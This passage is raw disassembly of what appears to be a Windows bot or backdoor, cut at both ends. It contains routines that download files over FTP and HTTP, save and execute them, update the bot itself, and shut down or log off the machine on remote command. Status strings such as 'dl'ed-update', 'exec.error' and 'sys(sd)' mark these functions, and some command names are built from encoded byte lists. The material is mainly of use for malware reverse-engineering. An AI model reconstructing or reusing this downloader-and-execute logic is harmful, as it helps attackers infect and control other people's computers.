[esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CEB3 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CEB5 ; --------------------------------------------------------------------------- loc_41CEB3: ; CODE XREF: sub_41C610+896j xor edi, edi loc_41CEB5: ; CODE XREF: sub_41C610+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CF40: ; CODE XREF: sub_41C610+7A1j lea ecx, [ebp+0EAh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D1A1 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016AE push offset word_44759A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D0EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41D0EC: ; CODE XREF: sub_41C610+A64j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D114 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D114: ; CODE XREF: sub_41C610+AF7j xor edi, edi loc_41D116: ; CODE XREF: sub_41C610+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FBE lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FBE lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013D4 loc_41D1A1: ; CODE XREF: sub_41C610+116j ; sub_41C610+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D212: ; CODE XREF: sub_41C610+549j ; sub_41C610+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C610 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D540 proc near ; CODE XREF: sub_401B36j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D540 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D5D0 proc near ; CODE XREF: sub_4014B0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D5D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D5D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_4021C6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D670 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D730: ; CODE XREF: ___:00401168j ; ___:loc_4019E7j push esi mov esi, ecx call sub_4015C3 test byte ptr [esp+8], 1 jz short loc_41D748 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D748: ; CODE XREF: ___:0041D73Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D760 proc near ; CODE XREF: sub_4015C3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D760 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D760 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D830 proc near ; CODE XREF: sub_401C80j var_48 = dword ptr -48h var_40 = byte ptr -40h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_10C = byte ptr 110h arg_11C = byte ptr 120h arg_12C = byte ptr 130h arg_110C = dword ptr 1110h arg_1110 = byte ptr 1114h arg_112C = dword ptr 1130h arg_1134 = dword ptr 1138h arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43B0F2 push eax mov eax, 1158h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, ecx push edi push offset byte_446F70 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41DF38 lea ebx, [esi+65h] push offset byte_446F70 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41DF38 lea ecx, [esi+26h] push offset byte_446F70 call sub_4012EE test eax, eax jz loc_41DF38 mov al, [esi+91h] test al, al jz short loc_41D8D1 push offset byte_446F70 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D8C4 push offset byte_446F70 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D8D1 loc_41D8C4: ; CODE XREF: sub_41D830+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41DF40 ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: sub_41D830+70j ; sub_41D830+92j push offset asc_443C94 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41D95E push offset asc_443C94 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016AE mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41D96F loc_41D95E: ; CODE XREF: sub_41D830+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41D96F: ; CODE XREF: sub_41D830+12Cj push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016AE lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FBE lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017E4 push eax nop call near ptr 2800000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015D7 mov al, [esi+91h] test al, al jz loc_41DB04 call sub_401E06 ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017E4 push eax call sub_401A69 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DA1C lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41DF17 ; --------------------------------------------------------------------------- loc_41DA1C: ; CODE XREF: sub_41D830+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017E4 push eax lea ecx, [esi+3Bh] call sub_4017E4 push eax call sub_402243 add esp, 0Ch test eax, eax jnz short loc_41DA73 lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DA73: ; CODE XREF: sub_41D830+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_4016A9 add esp, 10h test eax, eax jnz short loc_41DAF2 mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DAF2: ; CODE XREF: sub_41D830+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D52 add esp, 4 jmp loc_41DD7B ; --------------------------------------------------------------------------- loc_41DB04: ; CODE XREF: sub_41D830+195j lea ecx, [esp+28h+arg_20] call sub_401424 lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_401424 push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017E4 push eax call sub_401A8C mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DB87 lea ecx, [esi+7Ah] call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- db 53h db 90h db 0E8h, 0B7h, 0BAh ; --------------------------------------------------------------------------- imul esi, [ecx-17h], 0BEh loc_41DB87: ; CODE XREF: sub_41D830+310j push ebp mov ecx, edi call sub_4017E4 push eax lea ecx, [esi+26h] call sub_4017E4 push eax lea edx, [esp+34h+arg_20] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+28h+arg_20] push 0 call sub_4013D9 push eax lea ecx, [esp+30h+arg_20] call sub_4017E4 push eax push ebx call near ptr 71AB428Ah nop lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017E4 push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DC80 mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+38h+var_28] mov [esp+38h+var_28], esi push ecx mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+38h+var_1C] mov byte ptr [esp+38h+arg_1134], 3 call sub_401226 lea ecx, [esp+38h+arg_10] mov byte ptr [esp+38h+arg_1134], 2 call sub_401226 lea ecx, [esp+38h+var_4] mov [esp+38h+arg_1134], 0FFFFFFFFh call sub_401226 jmp loc_41DF4B ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D830+3DBj ; sub_41D830+484j ... mov eax, [esp+38h+var_24] push 0 lea edx, [esp+3Ch+arg_12C] push 1000h push edx push eax nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DCF8 cmp ebp, 1000h jge short loc_41DCB0 mov [esp+ebp+48h+arg_11C], 0 loc_41DCB0: ; CODE XREF: sub_41D830+476j xor edi, edi test ebp, ebp jle short loc_41DC80 loc_41DCB6: ; CODE XREF: sub_41D830+4A5j push 4 lea ecx, [esp+edi+4Ch+arg_11C] push offset asc_443EF8 ; "\r\n\r\n" push ecx nop call near ptr 77C47A50h add esp, 0Ch test eax, eax jz short loc_41DCD9 inc edi cmp edi, ebp jl short loc_41DCB6 jmp short loc_41DC80 ; --------------------------------------------------------------------------- loc_41DCD9: ; CODE XREF: sub_41D830+4A0j add edi, 4 cmp edi, ebp jge short loc_41DCF8 loc_41DCE0: ; CODE XREF: sub_41D830+4C6j movsx edx, [esp+edi+48h+arg_11C] push ebx push edx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DCE0 loc_41DCF8: ; CODE XREF: sub_41D830+46Ej ; sub_41D830+4AEj ... mov edi, [esp+48h+var_34] push 0 lea eax, [esp+4Ch+arg_11C] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DD48 cmp ebp, 1000h jge short loc_41DD28 mov [esp+ebp+58h+arg_10C], 0 loc_41DD28: ; CODE XREF: sub_41D830+4EEj xor edi, edi test ebp, ebp jle short loc_41DCF8 loc_41DD2E: ; CODE XREF: sub_41D830+514j movsx ecx, [esp+edi+58h+arg_10C] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DD2E jmp short loc_41DCF8 ; --------------------------------------------------------------------------- loc_41DD48: ; CODE XREF: sub_41D830+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi nop call near ptr 71AB9639h lea ecx, [esp+5Ch+var_40] mov [esp+5Ch+arg_1110], 3 call sub_401226 lea ecx, [esp+5Ch+var_10] mov [esp+5Ch+arg_1110], 2 call sub_401226 loc_41DD7B: ; CODE XREF: sub_41D830+2CFj mov al, [esi+90h] test al, al jnz loc_41DE17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D60B5 call sub_401848 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41DF0F push offset byte_446F70 mov ecx, ebp call sub_4017E4 push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017E4 push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h jmp loc_41DF0F ; --------------------------------------------------------------------------- loc_41DE17: ; CODE XREF: sub_41D830+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea edx, [esp+5Ch+var_40] push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 51h push edx call sub_4019B5 add esp, 24h mov ecx, eax mov [esp+5Ch+arg_1110], 5 call sub_4014D3 push eax mov ecx, ebx call sub_4014D3 push eax call sub_402149 add esp, 8 lea ecx, [esp+5Ch+var_40] mov bl, al mov [esp+5Ch+arg_1110], 2 call sub_401226 test bl, bl jz short loc_41DEEA mov al, byte_4478D6 test al, al jz short loc_41DEB9 push offset dword_447874 mov ecx, offset dword_448DB0 call sub_401447 loc_41DEB9: ; CODE XREF: sub_41D830+678j mov al, byte_44791F test al, al jz short loc_41DED1 push offset byte_44794F mov ecx, offset dword_448DB0 call sub_401942 loc_41DED1: ; CODE XREF: sub_41D830+690j mov ecx, offset dword_448DB0 call sub_401E5B push 1 mov byte_4E6E84, 0 nop call near ptr 77C39E7Eh loc_41DEEA: ; CODE XREF: sub_41D830+66Fj mov ecx, edi call sub_4014D3 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 loc_41DF0F: ; CODE XREF: sub_41D830+597j ; sub_41D830+5E2j mov [esp+60h+var_48], esi lea edx, [esp+60h+var_48] loc_41DF17: ; CODE XREF: sub_41D830+1E7j push edx loc_41DF18: ; CODE XREF: sub_41D830+23Ej ; sub_41D830+2BDj mov ecx, offset byte_4E6EDB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_2C] mov [esp+60h+arg_110C], 0FFFFFFFFh call sub_401226 jmp short loc_41DF4B ; --------------------------------------------------------------------------- loc_41DF38: ; CODE XREF: sub_41D830+36j ; sub_41D830+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41DF40: ; CODE XREF: sub_41D830+9Cj push eax mov ecx, offset byte_4E6EDB call sub_40120D sub_41D830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D830 loc_41DF4B: ; CODE XREF: sub_41D830+44Bj ; sub_41D830+706j mov ecx, [esp+38h+arg_112C] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D830 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E140 proc near ; CODE XREF: sub_401B90j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E140 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41E140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E31B push offset dword_443FFC lea ecx, [edi+69h] call sub_401681 mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 6 nop call near ptr 28903DFh pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E31B: ; CODE XREF: ___:0041E2DEj lea ecx, [esi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E36A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_401681 mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 5 nop call near ptr 28903DFh pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E36A: ; CODE XREF: ___:0041E32Dj lea ecx, [esi+60h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E3B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_401681 mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h push 0 push 4 call near ptr 28903DFh nop loc_41E3B1: ; CODE XREF: ___:0041E37Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E400 proc near ; CODE XREF: sub_401F5Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E400 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41E400 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019B5 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017E4 lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh 